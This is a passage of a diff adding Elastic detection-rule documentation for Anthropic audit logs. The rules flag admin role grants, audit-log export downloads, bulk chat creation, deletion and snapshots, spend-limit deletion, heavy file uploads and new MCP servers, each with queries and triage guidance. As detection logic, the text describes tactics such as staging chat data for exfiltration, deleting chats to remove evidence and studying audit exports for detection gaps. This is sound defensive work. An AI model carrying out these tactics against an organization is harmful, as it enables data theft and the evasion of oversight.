Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Tactic: Privilege Escalation +* Mitre Atlas: AML.T0012 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Admin Role Assigned to User* + + +Org admin can change SSO, API keys, exports, and integrations. This rule matches `claude_user_role_updated` where +`anthropic.audit.current_role` is the literal `admin` (organization membership role — not workspace +`role_assignment_granted`, not project `chat_project:*` roles, not `rbac_role_assigned`). + +Unauthorized = no IAM ticket naming the target as org admin, target recently invited from an unexpected domain, or +the promotion is followed by key creation / SSO weakening / exports by the same actor or target. + + +*Possible investigation steps* + + +- Identify target (`user.target.id`, `user.target.email`, `related.user`) and assigner (`anthropic.audit.actor.type`; + for `user_actor` check email/IP/UA). +- Compare `anthropic.audit.previous_role` → `anthropic.audit.current_role` and check whether the target was invited or + otherwise role-changed shortly before becoming admin. +- After the promotion, review ~48h of target activity and org IAM (primary owner transfer, admin keys, SSO, exports). +- Close as FP when ticket + job function match. Escalate when the change is untracked or precedes control-plane abuse. + + +*False positive analysis* + + +- Onboarding and IR staffing promotions to org admin are valid — require change request when policy demands one. + + +*Response and remediation* + + +- On unauthorized promotion: revoke org admin (downgrade membership role), rotate credentials for assigner and + target, audit admin API keys and integration changes for the organization. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "iam") and + event.action == "claude_user_role_updated" and + anthropic.audit.current_role in ("admin", "owner", "membership_admin") +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-compliance-audit-log-export-accessed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-compliance-audit-log-export-accessed.asciidoc new file mode 100644 index 0000000000..c6ba88b753 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-compliance-audit-log-export-accessed.asciidoc @@ -0,0 +1,108 @@ +[[prebuilt-rule-8-19-36-anthropic-compliance-audit-log-export-accessed]] +=== Anthropic Compliance Audit Log Export Accessed + +An audit log export archive was accessed, meaning the actor downloaded exported audit activity. Attackers pull audit exports to see what defenders can observe, look for detection gaps, or remove evidence before making other control-plane changes. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Mitre Atlas: AML.T0085 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Compliance Audit Log Export Accessed* + + +An audit-log export archive was downloaded. Attackers use this to see what defenders can observe or to stage before +further control-plane changes. Correlate with `audit_log_export_started` for the same org. + +Unauthorized = no security/compliance ticket, export window covering recent IAM/logging changes without investigation +context, or download followed by compliance logging disablement / SSO changes / data exports. + + +*Possible investigation steps* + + +- Use `anthropic.audit.from_date` / `to_date` to see which admin activity the actor pulled; match actor email/IP/UA to + known IR/compliance staff. +- Find preceding `audit_log_export_started`. Flag if the window covers recent IAM or logging changes the actor then + altered. +- Sequence check: download → logging disable / SSO change / org data export is a common recon-then-abuse pattern. + + +*False positive analysis* + + +- SIEM validation and regulatory requests are expected — require an approved ticket. + + +*Response and remediation* + + +- On unauthorized access: revoke actor access, determine whether export data left the org, and review whether + compliance logging was disabled or modified around the same time. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "file") and + event.action == "audit_log_export_accessed" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-access-failures.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-access-failures.asciidoc new file mode 100644 index 0000000000..4f11d2f27e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-access-failures.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-anthropic-excessive-chat-access-failures]] +=== Anthropic Excessive Chat Access Failures + +Detects a single authenticated user generating an unusually high number of denied Claude chat access attempts in a 24-hour window. That pattern fits automated chat enumeration or attempts to reach conversations outside the actor's permissions. Unauthenticated shared-link actors lack user.id and are excluded. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Discovery +* Mitre Atlas: AML.T0075 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Excessive Chat Access Failures* + + +Alert keys: `user.id`, `organization.id`, and `source.ip` (plus `user.email` when present). The rule aggregates ≥20 +`claude_chat_access_failed` events for one authenticated user in that org/IP over 24 hours. Unauthenticated +shared-link failures lack `user.id` and are out of scope. + +True positive: high failure-to-`claude_chat_viewed` ratio, sequential/patterned chat IDs, scripting UA. False +positive: legal/IR link review or broken bookmarks with scattered IDs and many successful views nearby. + + +*Possible investigation steps* + + +- Start from the alert keys (`user.id` / `organization.id` / `source.ip`) and the time window; pivot raw + `claude_chat_access_failed` events. +- Review chat ID lists: sequential or patterned IDs suggest enumeration; scattered IDs fit shared-link browsing. +- Compare failure volume to `claude_chat_viewed` from the same actor. High failure-to-success ratio → enumeration. +- Check UA/automation signals and whether any failed chat IDs later succeed. Correlate with IAM/SSO/compliance key + changes in the same period. + + +*False positive analysis* + + +- Large revoked-link reviews and retrying expired URLs are FP when IDs are scattered and many `claude_chat_viewed` + successes sit nearby (legal/IR ticket optional corroboration). + + +*Response and remediation* + + +- On confirmed enumeration: revoke sessions, review recently accessed chats, rotate exposed shared links if needed, + and check for data export or artifact sharing by the same user. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + event.action == "claude_chat_access_failed" and + user.id is not null +| stats + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.anthropic_audit_claude_chat_id_values = values(anthropic.audit.claude_chat_id), + Esql.anthropic_audit_claude_project_id_values = values(anthropic.audit.claude_project_id), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.user_email_values = values(user.email), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.id, organization.id, source.ip +| where Esql.event_count >= 20 +| keep user.id, organization.id, source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-creation.asciidoc new file mode 100644 index 0000000000..77b0ff73b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-creation.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-36-anthropic-excessive-chat-creation]] +=== Anthropic Excessive Chat Creation + +Detects an unusually high number of Claude chat creation events for the same user email within a 24-hour period. Burst chat creation can indicate automated LLM abuse, resource hijacking to burn organizational quotas, or scripted workflows used to stage many parallel conversations for data processing or prompt-injection campaigns. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Impact +* Mitre Atlas: AML.T0034 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Excessive Chat Creation* + + +One mailbox created a large burst of Claude chats in 24 hours — fits automation, quota burn, or scripted parallel +workflows. + +True-positive signals: scripting UA (curl/python/Go-http-client), many distinct project IDs, concurrent file uploads +or deletions, or follow-on exports. False-positive signals: known eval/load-test accounts, onboarding templates from +one admin with browser UA and no data-access follow-ons. + + +*Possible investigation steps* + + +- Prefer alerts with scripting UA and/or many distinct project IDs over browser UA confined to one known project. +- Correlate with high file uploads, chat deletions, or org data export from the same email in the same window. + + +*False positive analysis* + + +- Known eval/load-test seats and onboarding template creators with browser UA and no data-access follow-ons are FP. + + +*Response and remediation* + + +- When TP signals hold: revoke sessions, review project membership, and apply rate limits or policy changes for the + actor. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + event.action == "claude_chat_created" and + event.outcome == "success" and + user.email is not null +| stats + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.anthropic_audit_claude_chat_id_values = values(anthropic.audit.claude_chat_id), + Esql.anthropic_audit_claude_project_id_values = values(anthropic.audit.claude_project_id), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.user_id_values = values(user.id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email +| where Esql.event_count >= 20 +| keep user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-deletion.asciidoc new file mode 100644 index 0000000000..2d18b8ffcc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-deletion.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-36-anthropic-excessive-chat-deletion]] +=== Anthropic Excessive Chat Deletion + +Detects an unusually high number of Claude chat deletion events for the same user email within a single calendar day. Mass chat deletion can indicate an attempt to remove conversation history, cover tracks after misuse of Claude, or automated cleanup following data staging or prompt abuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Defense Evasion +* Mitre Atlas: AML.T0092 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Excessive Chat Deletion* + + +One mailbox deleted many chats in a UTC day bucket. Deleted content may no longer be viewable in the product UI — +preserve audit history early. + +Escalate when deletions follow uploads/exports/sharing, UA looks scripted, or compliance logging was disabled nearby. +Close as FP for scheduled retention cleanup or migration tooling with a ticket. + + +*Possible investigation steps* + + +- Capture chat/project ID values from the alert while they remain in audit history. +- Compare deletion volume to prior `claude_chat_created` / `claude_file_uploaded` from the same email — delete-after- + upload is higher priority than cleanup of empty chats. +- Inspect IP/UA for scripted patterns; correlate with logging disablement, SSO changes, or data exports. + + +*False positive analysis* + + +- Project closure cleanup and migration tooling often bulk-delete in one session. + + +*Response and remediation* + + +- On malicious deletion: preserve remaining audit exports, revoke sessions, and investigate whether sensitive content + was uploaded or shared before deletion. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + event.action == "claude_chat_deleted" and + event.outcome == "success" and + user.email is not null +| eval Esql.time_bucket = DATE_TRUNC(1 day, @timestamp) +| stats + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.anthropic_audit_claude_chat_id_values = values(anthropic.audit.claude_chat_id), + Esql.anthropic_audit_claude_project_id_values = values(anthropic.audit.claude_project_id), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.user_id_values = values(user.id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email, Esql.time_bucket +| where Esql.event_count >= 30 +| keep user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-snapshot-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-snapshot-creation.asciidoc new file mode 100644 index 0000000000..3e4d844e66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-excessive-chat-snapshot-creation.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-36-anthropic-excessive-chat-snapshot-creation]] +=== Anthropic Excessive Chat Snapshot Creation + +Detects an unusually high number of successful Claude chat snapshot creation events for the same user email within a rolling 24-hour window. Chat snapshots package conversation content into shareable exports; sustained creation volume can indicate staging of organizational chat data for exfiltration via Anthropic's web service or automated bulk export of sensitive prompts and responses. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Exfiltration +* Mitre Atlas: AML.T0085 +* Mitre Atlas: AML.T0025 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Excessive Chat Snapshot Creation* + + +One mailbox created many chat snapshots in 24 hours. Snapshots can package conversation content for handoff — or for +exfiltration staging. Source IP/UA are investigation fields, not grouping keys, so multi-IP bursts still accumulate. + +Escalate when scripting UA, concurrent file uploads / public artifact sharing / data exports / chat deletions appear, +or snapshots span many unrelated chats. Close as FP for documented knowledge handoffs, training packaging, or +compliance archival automation. + + +*Possible investigation steps* + + +- Review event count and snapshot/chat ID lists — many distinct chats is stronger than repeated snapshots of one chat. +- Inspect IP/UA values for automation. Correlate with uploads, public artifact sharing, exports, or deletions from + the same email. +- Note actor type and whether the same email appears across organizations (`organization_id` values). + + +*False positive analysis* + + +- Power-user archival and compliance snapshot jobs commonly exceed the threshold. + + +*Response and remediation* + + +- On unauthorized staging: revoke sessions, review snapshot destinations and shared links, and tighten chat sharing + or export policy for the actor. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "file") and + event.action == "claude_chat_snapshot_created" and + event.outcome == "success" and + user.email is not null +| stats + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.anthropic_audit_claude_chat_snapshot_id_values = values(anthropic.audit.claude_chat_snapshot_id), + Esql.anthropic_audit_claude_chat_id_values = values(anthropic.audit.claude_chat_id), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.organization_id_values = values(organization.id), + Esql.user_id_values = values(user.id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email +| where Esql.event_count >= 10 +| keep user.email, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-extra-usage-spend-limit-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-extra-usage-spend-limit-deleted.asciidoc new file mode 100644 index 0000000000..d6f069d4f0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-extra-usage-spend-limit-deleted.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-36-anthropic-extra-usage-spend-limit-deleted]] +=== Anthropic Extra Usage Spend Limit Deleted + +Extra usage spend limits cap Anthropic organizational spend beyond included usage. Deleting a spend limit removes that cap and can enable unrestricted API or Claude consumption. An attacker who already has administrative or API access can delete the limit to burn budget, run large automated workloads, or stage resource abuse without the previous guardrail. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Impact +* Mitre Atlas: AML.T0034 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Extra Usage Spend Limit Deleted* + + +Deleting an extra-usage spend limit removes a billing guardrail; it does not create spend by itself. Treat it as an +early signal for follow-on quota burn or automated workloads. + +Unauthorized = no finance/platform ticket to redesign billing, and no nearby `extra_usage_spend_limit_created` / +`extra_usage_spend_limit_updated` that replaces the deleted limit — especially if high chat creation or file uploads +follow. + + +*Possible investigation steps* + + +- Branch on actor: `user_actor` → `user.email` / `source.ip` / UA; `api_actor` → `anthropic.audit.actor.api_key_id` + and whether that key is in inventory. +- Check for create/update of a replacement limit within the same change window (planned redesign) vs standalone + deletion. +- After the delete, look for elevated `claude_chat_created`, file uploads, or other high-volume activity on the same + `organization.id`. +- Close as FP when a finance/platform ticket names the redesign and a replacement create/update exists. Escalate when + deletion is orphaned or usage spikes afterward. + + +*False positive analysis* + + +- Billing consolidations often delete an old limit shortly before creating a new one. + + +*Response and remediation* + + +- On unauthorized deletion: restore an appropriate spend limit, review API keys and admin sessions active during the + exposure window, and quantify extra usage accrued after the change. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "configuration") and + event.action == "extra_usage_spend_limit_deleted" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-high-file-upload-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-high-file-upload-activity.asciidoc new file mode 100644 index 0000000000..1eafeb841c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-high-file-upload-activity.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-36-anthropic-high-file-upload-activity]] +=== Anthropic High File Upload Activity + +Detects an unusually high volume of Claude file uploads from the same user email and source IP within a rolling 24-hour period. Sustained upload activity can indicate staging of sensitive documents in Claude chats for later retrieval, automated ingestion of data into LLM workflows, or abuse of organizational Claude access to move files into the cloud service. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Exfiltration +* Mitre Atlas: AML.T0025 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic High File Upload Activity* + + +One `user.email` + `source.ip` pair uploaded a large volume of Claude files in 24 hours — possible staging for later +retrieval, automated ingestion, or abuse of org Claude access. + +Unauthorized / escalate when filenames look sensitive, uploads target shared/sensitive projects, UA looks automated +(curl/python vs browser), or artifact sharing / exports follow. Close as FP for documented migrations, RAG pilots, or +batch attach jobs with expected project IDs. + + +*Possible investigation steps* + + +- Start with `Esql.event_count`, `Esql.file_name_values`, and chat/project ID lists — sensitive names or shared + project IDs raise priority. +- Triage `user_agent` on raw uploads: browser-like vs scripting clients. Scripting UAs with many distinct file IDs + look more like automation than interactive work. +- Pivot raw `logs-anthropic.audit-*` for individual `anthropic.audit.claude_file_id` / filenames and whether + `claude_file_viewed` or chat activity matches the upload volume. +- Correlate with artifact sharing, data exports, or compliance key creation from the same user. + + +*False positive analysis* + + +- Document migrations and RAG indexing from one seat commonly exceed the threshold. + + +*Response and remediation* + + +- On unauthorized staging: revoke sessions, review uploaded names/file IDs for sensitive content, and tighten project + sharing or upload policy for the actor. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + event.action == "claude_file_uploaded" and + event.outcome == "success" and + user.email is not null and + source.ip is not null +| stats + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.file_name_values = values(file.name), + Esql.anthropic_audit_claude_file_id_values = values(anthropic.audit.claude_file_id), + Esql.anthropic_audit_claude_chat_id_values = values(anthropic.audit.claude_chat_id), + Esql.anthropic_audit_claude_project_id_values = values(anthropic.audit.claude_project_id), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email, source.ip +| where Esql.event_count >= 100 +| keep user.email, source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-mcp-server-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-mcp-server-created.asciidoc new file mode 100644 index 0000000000..f303d11894 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-mcp-server-created.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-36-anthropic-mcp-server-created]] +=== Anthropic MCP Server Created + +Detects the first successful creation of a Model Context Protocol (MCP) server integration name in an Anthropic organization within the rule history window. MCP servers add external data pathways into Claude and can expose organizational data to third-party infrastructure. This is a New Terms rule keyed on `organization.id` and `anthropic.audit.mcp_server_name` so the same connector name can still alert in another tenant, while routine re-creation of an already-seen name in the same organization does not. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-anthropic.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: New Terms +* Tactic: Persistence +* Mitre Atlas: AML.T0081 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic MCP Server Created* + + +First-seen MCP server name for this `organization.id` within the rule history window. MCP connectors add external +data pathways into Claude. + +Unauthorized = server name not on approved integration inventory, actor is unexpected/contractor without a request, +or creation pairs with data export / public artifact sharing / privilege changes. Close as FP when inventory and +pilot/onboarding ticket match. + + +*Possible investigation steps* + + +- Record `anthropic.audit.mcp_server_name` / `mcp_server_id` and actor. For `user_actor`, validate email/IP/UA + against platform admins. +- Search `mcp_server_updated` / `mcp_server_deleted` for the same server ID; look for exports, artifact sharing, or + admin role grants in the same window. +- Close as FP when inventory + pilot ticket match the name; escalate unknown connector names immediately. + + +*False positive analysis* + + +- Claude pilots commonly introduce first-seen approved connector names from platform teams. + + +*Response and remediation* + + +- On unauthorized creation: remove the MCP server and review data accessed through the connector during the exposure + window. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "anthropic.audit" and + event.category: "configuration" and + event.action: "mcp_server_created" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-data-export-accessed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-data-export-accessed.asciidoc new file mode 100644 index 0000000000..8a52d9a1b4 --- /dev/null +++ 